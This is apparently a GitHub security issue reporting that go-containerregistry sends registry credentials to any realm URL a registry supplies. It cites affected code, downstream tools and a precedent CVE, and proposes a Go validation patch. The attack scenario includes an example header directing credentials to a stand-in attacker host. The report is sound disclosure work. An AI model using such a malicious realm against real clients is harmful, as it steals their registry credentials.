Skip to content

Credential leak via unvalidated WWW-Authenticate realm URL #2193

Description

@1seal

Summary

When authenticating against a registry using the bearer token flow, go-containerregistry accepts the realm URL from the WWW-Authenticate response header and sends credentials to that realm host to obtain a token. The realm URL is not validated against the registry domain, allowing a malicious registry to redirect credentials to an attacker-controlled host.

Affected code

  • pkg/v1/remote/transport/bearer.go:82-94 (fromChallenge accepts realm without validation)
  • pkg/v1/remote/transport/bearer.go:315-320 (refreshOauth uses realm)
  • pkg/v1/remote/transport/bearer.go:366-407 (refreshBasic sends credentials to realm host)

Attack scenario

  1. Victim's tooling (cosign, crane, ko, etc.) connects to a malicious registry (via typosquatted image reference, compromised registry, or untrusted input in CI/CD)
  2. Registry returns 401 with WWW-Authenticate: Bearer realm="https://attacker.example.net/token",service="registry"
  3. go-containerregistry extracts the realm URL and sends Authorization: Basic <credentials> to attacker.example.net
  4. Attacker captures registry credentials

This does not require network interception - the registry itself controls the realm value.

Precedent

CVE-2020-15157 (containerd) describes the same vulnerability class: credential leak via malicious WWW-Authenticate realm header. It was fixed and assigned a CVE with CVSS 6.1.

Ecosystem impact

go-containerregistry is used by:

  • sigstore/cosign
  • google/crane
  • google/ko
  • vmware-tanzu/kpack
  • tektoncd/pipeline
  • GoogleContainerTools/skaffold

All these tools inherit this vulnerability.

Suggested fix

Validate that the realm URL's domain matches the registry domain (or a documented trusted auth domain) before sending any credential-bearing request.

Minimal patch approach in fromChallenge:

ru, err := url.Parse(realm)
if err != nil {
    return nil, fmt.Errorf("invalid realm url: %w", err)
}
if ru.Scheme == "" || ru.Host == "" {
    return nil, fmt.Errorf("invalid realm url: missing scheme or host")
}
if !pr.Insecure && ru.Scheme != "https" {
    return nil, fmt.Errorf("invalid realm url scheme for secure registry")
}
// validate domain binding
regDomain := effectiveDomain(reg.RegistryStr())
realmDomain := effectiveDomain(ru.Hostname())
if regDomain != realmDomain {
    return nil, fmt.Errorf("realm domain mismatch")
}

Reproduction

A full PoC with canonical/control tests is available upon request.

Related

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions